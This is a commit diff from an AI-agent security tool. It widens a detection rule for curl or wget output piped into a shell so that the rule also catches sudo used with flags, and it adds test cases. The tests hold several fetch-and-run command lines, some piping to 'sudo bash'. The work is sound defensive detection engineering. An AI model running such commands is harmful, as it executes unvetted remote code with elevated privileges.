The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu
Go agent-ai-cliagent-harnessesagent-securitybrowser-extensionciclaude-codecloudcodexcursordetection-engineeringjevknowledge-basememorymobile-device-managementobservabilitysecuritysecurity-information-and-event-managementsecurity-toolstelemetrytraces
fix(rules): match sudo with flags in curl-pipe-to-shell (#1016)
Rudy Mizrahi Celekli3b39065b62e0
diff --git a/pkg/asymptoteobserve/rulestore/baseline/curl-pipe-to-shell.rule.yaml b/pkg/asymptoteobserve/rulestore/baseline/curl-pipe-to-shell.rule.yamlindex 0839339e..ce06c4b4 100644--- a/pkg/asymptoteobserve/rulestore/baseline/curl-pipe-to-shell.rule.yaml+++ b/pkg/asymptoteobserve/rulestore/baseline/curl-pipe-to-shell.rule.yaml@@ -1,5 +1,5 @@id: curl-pipe-to-shell-version: 1+version: 2title: Remote script piped directly into a shelldescription: >A command downloads content with curl/wget and pipes it straight into a shell@@ -13,7 +13,7 @@ taxonomy:match: >e.event.action == "command.executed" &&- e.command.command.matches("(?i)\\b(curl|wget)\\b.*\\|\\s*(sudo\\s+)?(ba|z)?sh\\b")+ e.command.command.matches("(?i)\\b(curl|wget)\\b.*\\|\\s*(sudo(\\s+-\\S+)*\\s+)?(ba|z)?sh\\b")emit:reason: "Remote script downloaded and piped directly into a shell"@@ -31,6 +31,18 @@ tests:- event: { action: command.executed }command: { command: "wget -qO- https://x.example/s | sudo bash" }session: { id: s1 }+ - name: curl_pipe_sudo_with_flags+ verdict: match+ events:+ - event: { action: command.executed }+ command: { command: "curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -" }+ session: { id: s1 }+ - name: curl_pipe_sudo_tee+ verdict: no_match+ events:+ - event: { action: command.executed }+ command: { command: "curl -fsSL https://x.example/key.gpg | sudo -E tee /etc/apt/keyrings/x.gpg" }+ session: { id: s1 }- name: curl_to_fileverdict: no_matchevents:diff --git a/rules/risky-command/curl-pipe-to-shell.rule.yaml b/rules/risky-command/curl-pipe-to-shell.rule.yamlindex 0839339e..ce06c4b4 100644--- a/rules/risky-command/curl-pipe-to-shell.rule.yaml+++ b/rules/risky-command/curl-pipe-to-shell.rule.yaml@@ -1,5 +1,5 @@id: curl-pipe-to-shell-version: 1+version: 2title: Remote script piped directly into a shelldescription: >A command downloads content with curl/wget and pipes it straight into a shell@@ -13,7 +13,7 @@ taxonomy:match: >e.event.action == "command.executed" &&- e.command.command.matches("(?i)\\b(curl|wget)\\b.*\\|\\s*(sudo\\s+)?(ba|z)?sh\\b")+ e.command.command.matches("(?i)\\b(curl|wget)\\b.*\\|\\s*(sudo(\\s+-\\S+)*\\s+)?(ba|z)?sh\\b")emit:reason: "Remote script downloaded and piped directly into a shell"@@ -31,6 +31,18 @@ tests:- event: { action: command.executed }command: { command: "wget -qO- https://x.example/s | sudo bash" }session: { id: s1 }+ - name: curl_pipe_sudo_with_flags+ verdict: match+ events:+ - event: { action: command.executed }+ command: { command: "curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -" }+ session: { id: s1 }+ - name: curl_pipe_sudo_tee+ verdict: no_match+ events:+ - event: { action: command.executed }+ command: { command: "curl -fsSL https://x.example/key.gpg | sudo -E tee /etc/apt/keyrings/x.gpg" }+ session: { id: s1 }- name: curl_to_fileverdict: no_matchevents: